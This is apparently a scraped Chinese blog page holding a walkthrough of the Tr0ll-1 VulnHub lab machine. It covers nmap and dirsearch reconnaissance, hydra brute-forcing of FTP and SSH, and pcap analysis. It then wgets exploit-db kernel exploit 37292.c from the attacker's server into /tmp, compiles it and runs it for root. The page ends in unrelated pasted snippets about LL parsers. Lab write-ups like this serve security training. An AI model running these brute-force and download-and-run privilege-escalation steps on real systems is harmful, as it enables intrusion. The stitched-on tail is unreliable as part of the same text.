- Java锁的逻辑(结合对象头和ObjectMonitor)
- 还在用饼状图?来瞧瞧这些炫酷的百分比可视化新图形(附代码实现)⛵
- 自动注册实体类到EntityFrameworkCore上下文,并适配ABP及ABPVNext
- 基于Sklearn机器学习代码实战
Tr0ll的灵感来源于OSCP实验室内机器的不断拖动.
目标很简单,获取root并从/root目录中获取Proof.txt.
不适合那些容易受挫的人!公平的警告,前方有巨魔! 。
kali 192.168.31.153 Tr0ll-1 192.168.31.35 靶机下载地址: https://www.vulnhub.com/entry/tr0ll-1,100/ 。
环境搭建成功,使用nmap扫描网段ip探测存活主机 。
nmap 192.168.31.0/24
浏览器访问主机http://192.168.31.35,发现是一个暴走图 。
查看页面js源码也是没有任何线索,正常思路走就是对主机web页面和ip进行信息收集 首先我用nmap详细扫描ip的端口信息 。
nmap 192.168.31.35 -sV -O -p- //扫描全端口信息,版本信息,操作系统
此处发现了21 22 80端口 且操作系统是ubuntu的linux系统,先放一边,接下来就是扫描文件目录 。
python3 dirsearch.py -u http://192.168.31.35/ -e*
发现了一个文件robots.txt,添加访问路径查看有一个/secret目录,访问又是一个暴走图并没有有用的线索 。
现在只能从端口入手,首先尝试ftp端口,利用hydra爆破用户名密码 。
hydra -L user.txt -P password.txt 192.168.31.35 -s 21 ftp
得到了用户名为 Anonymous 和一堆弱密码(这里由于爆破时间有点长,只截取了一部分) 。
但是我看网上可以尝试无密码直接登录成功 。
ftp 192.168.31.35
回车完显示需要输入用户名,再回车一次
然后直接登录
回车完发现了有一串英文,意思是此FTP服务器仅为匿名服务器,可以使用图中的英文anonymous无密码登录,为什么使用这个英文呢,是因为目前没有其他线索了,我尝试了其他用户名又是不可以 。
紧接着就是查找新线索,使用ls查看文件,发现有一个流量包lol.pcap 。
在ftp服务器里使用 get lol.pcap将流量包下载到本地 。
get lol.pcap
使用wireshark查看流量包 。
右键点击第一个流量包,追踪TCP流,发现提示是将一些二进制代码放在secret_stuff.txt文本里 。
修改刚刚圈出来在地址框的代码,把0改到2,看到提示说找到一个sup3rs3cr3tdirlol,看到这串字符有dir字样,猜测应该是一个文件或者文件夹 。
到浏览器访问看看http://192.168.31.35/sup3rs3cr3tdirlol,发现也是一个目录,里边还有一个未知文件 roflmao 。
使用kali的wget命令下载到本地查看 。
wget http://192.168.31.35/sup3rs3cr3tdirlol/roflmao
可以利用kali的文件解析命令获取线索,这里我使用strings命令 。
strings roflmao
得到了一堆提示,其中有一段英文提示Find address 0x0856BF to proceed,查找0x0856BF这个地址,再次利用浏览器访问http://192.168.31.35/0x0856BF查看 。
又是一个目录,一个套着一个,这谁猜得到哦... 查看两个目录,发现了是一个用户名字典和密码字典 。
到这突然意识到,应该是ssh的用户和密码,再次使用hydra爆破ssh端口 。
hydra -L which_one_lol.txt -p Pass.txt 192.168.31.35 ssh
一开始使用的是密码文本的参数-P 但是多次爆破均没用,然后换了-p发现密码居然是Pass.txt,又是一个坑 登录ssh 。
ssh overflow@192.168.31.35
Pass.txt
直接获取到webshell了,接着就是提权getshell 。
使用python获取linux框架shell
python -c 'import pty;pty.spawn("/bin/bash")'
开始内网信息收集,查看内核版本信息 。
cat /proc/version
发现是Linux ubuntu 3.13.0版本,老规矩,浏览器搜索漏洞poc或者使用kali的searchsploit命令查看poc脚本 这里为了方便演示,我使用searchsploit命令 。
searchsploit Linux ubuntu 3.13.0
使用第一个c脚本,先将脚本复制到/root下方便操作,再者使用cat查看脚本如何使用 。
find / -name 37292.c
cp /usr/share/exploitdb/exploits/linux/local/37292.c 37292.c
ls
cat 37292.c
脚本提示需要下载到靶机,使用gcc编译再执行,python3开启http服务,在靶机后台wget下载脚本,但是此处又有一个坑,发现后台并不能随意下载 。
kali:
python3 -m http.server 8989
Tr0ll-1:
find / -writable 2>/dev/null //查看可写入权限的文件
发现有一个临时目录/tmp可写入,进入tmp文件夹,将脚本下载到tmp 。
cd /tmp
wget http://192.168.31.153:8989/37292.c
下载完毕,使用gcc编译37292.c 。
gcc 37292.c -o shell
-o:将编译完的exp存储在自行定义的文件里
chmod +x shell //添加执行权限
./shell //开始执行
id
cd /root
cat proof.txt
1.从nmap扫描到端口再到hydra破解端口 2.使用wireshark流量分析lol.pcap包获取线索 3.strings解析二进制文件查找提示信息 4.利用已知内核漏洞提权getshell 5.最后这个靶机在查看到有很多地方可以写入权限,方法不止一个,但是我这里仅展示最简单的提权方法:利用已知漏洞获取权限 其他拓展思路可以参考此博客: https://blog.csdn.net/weixin_44807430/article/details/128707254 。
最后此篇关于Tr0ll-1项目实战的文章就讲到这里了,如果你想了解更多关于Tr0ll-1项目实战的内容请搜索CFSDN的文章或继续浏览相关文章,希望大家以后支持我的博客! 。
为了进一步了解解析器和语法,我正在寻找 LL(2) 但不是 LL(1) 的语言示例(希望是简单的)。也就是说,一种可以由 LL(2) 语法生成但不能由任何 LL(1) 语法生成的语言。 该类(clas
$ cat png.ll ./packages/apps/Mms/res/mipmap-hdpi/ic_launcher_smsmms.png ./packages/apps/Mms/res/draw
我最近试图自学解析器(用于语言/上下文无关语法)如何工作,除了一件事之外,大多数内容似乎都是有意义的。我特别关注 LL(k) 语法,其中两个主要算法似乎是 LL parser (使用堆栈/解析表)和
我正在研究上下文无关语法,并且我陷入了第一步:了解自顶向下解析算法的结构。 我的问题围绕自上而下的解析器。我向我介绍了三种算法: 递归下降 预测性 预测递归下降 问题 但不明白如何将它们联系起来。所以
我有三种语法: A -> aB |乙| CBB B -> aB |巴| aBb C -> aaA |乙| caB 我需要“通过执行成对不相交测试来确定[它们]是否是 LL 语法,显示每个非终结符的每个
我已经在转换它上浪费了很多时间,但我总是起床得到公共(public)前缀 ID。 谁能给我解释一下?因为我正在尝试为一个非常大的语法做这件事并且需要我的基础知识清楚。 A、B、C、D 是仅有的非终结符
如果我定义了以下结构: typedef struct bear_t { char* name; void (*eat)(struct bear_t* this); void (
我在 Internet 上找不到任何关于 LL(*) 解析器的完整描述,例如 ANTLR。 我想知道 LL(k) 解析器和 LL(*) 解析器之间的区别是什么,以及为什么它们不支持左递归语法,尽管它们
关闭。这个问题是off-topic .它目前不接受答案。 想改进这个问题吗? Update the question所以它是on-topic用于堆栈溢出。 关闭 9 年前。 Improve this
LL 是否在标准中的任何地方定义(很难找到)? ideone接受代码 int main() { std::cout int main() { // Won't fire st
我的任务是将此语法转换为 LL(1) E → E+E | E-E | E*E | E/E | E^E | -E | (E)| id | num 所以对于第一步,我消除了歧义并得到了这个: E → E+
我了解 LL 递归下降解析器如何处理这种形式的规则: A = B*; 使用一个简单的循环,根据前瞻标记是否与 B 的第一组中的终端匹配来检查是否继续循环。但是,我对基于表的 LL 解析器很好奇:这种形
我有以下语法: S → a S b S | b S a S | ε 由于我正在尝试为其编写一个小型编译器,因此我想将其设为 LL(1)。我看到这里似乎存在 FIRST/FOLLOW 冲突,我知道我必须
我有一个语法,我可以检查 is 是否是 LL(1)。但是,有什么方法可以检查语法生成的语言是否为LL(1)? LL(1) 语法和 LL(1) 语言之间到底有什么区别? 最佳答案 任何 LL(1) 语法
好吧,我所说的 LL(k) 语言是指其解析器可以用 LL(k) 语法描述的编程语言。 这些是我的猜测: 帕斯卡 口齿不清 xml 和 friend 最佳答案 这取决于“语言”的定义。如果你问 What
我想解析一种编程语言。我读了很多关于形式语言、乔姆斯基层次结构和 ANTLR 的内容。但我找不到有关如何将 ANTLR v3 作为 LL(*) 递归下降解析器接受的语言与乔姆斯基层次结构相关联的信息。
我似乎无法弄清楚为什么在双向链表的末尾插入节点会陷入循环。要么陷入循环,要么陷入空指针。另外我想知道在处理链表或任何数据结构时 public Node 更好还是 public void 更好。 pub
我有一个程序,当前将生成 token 输出,用于下一个程序的输入。它将检查代码语法的正确性。 我遇到了如何开始将此语法转换为可用程序的问题。 下面是语法使用,我将如何着手制作它。或者哪里有好的资源可以
这个问题已经存在: Hello, it shows me two letter "L",but i would like to see full letters like "hello" but in
我正在尝试编译一个有 -ll 标志但 gcc 找不到的程序。 -l 之后的 l 是什么,真的是一个库还是错字?很难在谷歌上找到关于这个的信息。这样的术语是“模糊的”。 最佳答案 -ll 表示链接Sol
我是一名优秀的程序员,十分优秀!